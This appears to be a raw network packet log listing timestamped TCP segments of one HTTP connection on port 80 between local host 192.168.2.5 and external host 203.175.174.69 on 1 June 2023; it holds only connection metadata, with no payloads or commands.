Jun 1, 2023 12:14:27.296750069 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.296772003 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.296775103 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.296793938 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.296817064 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.296818018 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.296838999 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.296863079 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.296865940 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.296886921 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.296906948 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.296911001 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.296930075 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.296951056 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.296955109 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.296974897 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.296994925 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.296998024 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.297039032 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.464818001 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.464875937 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.464922905 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.464956999 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.464989901 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.465019941 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.465022087 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.465054989 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.465056896 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.465085030 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.465091944 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.465125084 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.465157986 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.465161085 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.465192080 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.465214968 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.465223074 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.465253115 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.465266943 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.465284109 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.465317011 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.465331078 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.465348005 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.465379000 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.465385914 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.465410948 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.465442896 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.465459108 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.465475082 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.465503931 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.465517998 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.465534925 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.465565920 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.465579987 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.465599060 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.465630054 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.465639114 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.465662003 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.465693951 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.465708017 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.465747118 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.465779066 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.465785980 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.465810061 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.465840101 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.465853930 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.465873003 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.465904951 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.465919971 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.465938091 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.465969086 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.465981007 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.466001034 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.466033936 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.466042995 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.466065884 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.466099024 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.466108084 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.466131926 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.466162920 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.466181993 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.466193914 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.466226101 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.466255903 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.466258049 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.466289997 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.466304064 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.466321945 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.466356039 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.466382027 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.466388941 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.466422081 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.466447115 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.466451883 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.466485023 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.466510057 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.513432980 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.634145021 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.634193897 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.634222984 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.634253025 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.634280920 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.634313107 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.634341002 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.634339094 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.634370089 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.634399891 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.634399891 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.634428024 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.634435892 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.634463072 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.634484053 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.634490013 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.634521961 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.634540081 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.634551048 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.634581089 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.634608030 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.634625912 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.634640932 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.634669065 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.634670019 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.634699106 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.634727955 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.634737015 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.634748936 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.634776115 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.634780884 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.634804010 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.634829998 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.634831905 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.634859085 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.634884119 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.634886980 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.634917974 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.634942055 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.634944916 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.634975910 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.634989023 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.635003090 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.635047913 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.635076046 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.635102987 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.635107994 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.635133028 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.635155916 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.635159016 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.635185957 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.635194063 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.635215998 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.635236979 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.635266066 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.635293007 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.635313988 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.635319948 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.635348082 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.635374069 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.635399103 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.635426044 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.635440111 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.635452032 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.635478020 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.635488033 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.635505915 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.635526896 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.635559082 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.682120085 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.682189941 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.682315111 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.803298950 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.803339005 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.803371906 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.803400993 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.803422928 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.803427935 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.803464890 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.803467035 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.803500891 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.803533077 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.803563118 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.803571939 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.803591013 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.803623915 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.803625107 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.803653955 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.803656101 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.803689003 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.803718090 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.803745031 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.803764105 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.803787947 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.803807974 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.803827047 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.803845882 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.803868055 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.803891897 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.803896904 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.803921938 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.803922892 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.803952932 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.803975105 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.803980112 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.804014921 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.804040909 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.804049015 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.804069996 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.804088116 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.804100990 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.804131031 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.804131985 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.804160118 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.804188967 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.804214954 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.804228067 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.804240942 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.804275036 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.804280996 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.804315090 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.804316998 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.804342985 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.804356098 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.804373980 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.804399967 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.804425955 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.804449081 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.804455996 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.804485083 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.804496050 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.804514885 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.804542065 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.804548025 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.804579973 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.804606915 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.804615974 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.804645061 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.804672956 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.804701090 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.804742098 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.850151062 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.850184917 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.850210905 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.850231886 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.850251913 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.850255013 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.850274086 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.850296974 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.850317001 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.850317955 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.850337982 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.850343943 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.850361109 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.850380898 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.850387096 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.850402117 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.850414038 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.850424051 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.850445032 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.850455999 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.850465059 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.850486994 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.850497007 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.850507975 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.850528955 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.850528955 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.850553036 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.850573063 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.850580931 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.850594997 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.850614071 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.850622892 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.850636005 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.850652933 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.850656986 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.850681067 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.850699902 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.850718021 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.850719929 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.850742102 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.850759983 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.850763083 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.850783110 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.850784063 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.850806952 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.850826025 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.850826979 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.850847006 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.850867987 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.850884914 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.850888968 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.850909948 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.850912094 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.850929976 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.850950956 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.850970030 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.850970030 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.850991011 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.851008892 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.851011992 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.851032972 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.851033926 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.851052999 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.851074934 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.851082087 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.851099014 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.851119995 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.851125002 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.851140022 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.851160049 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.851178885 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.851180077 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.851201057 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.851219893 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.851221085 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.851242065 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.851243019 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.851263046 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.851284027 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.851286888 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.851327896 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.972768068 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.972817898 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.972852945 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.972875118 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.972882986 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.972913980 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.972918987 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.972945929 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.972975969 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.972995996 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.973010063 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.973038912 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.973045111 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.973071098 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.973104954 CEST	80	49718	203.175.174.69	192.168.2.5
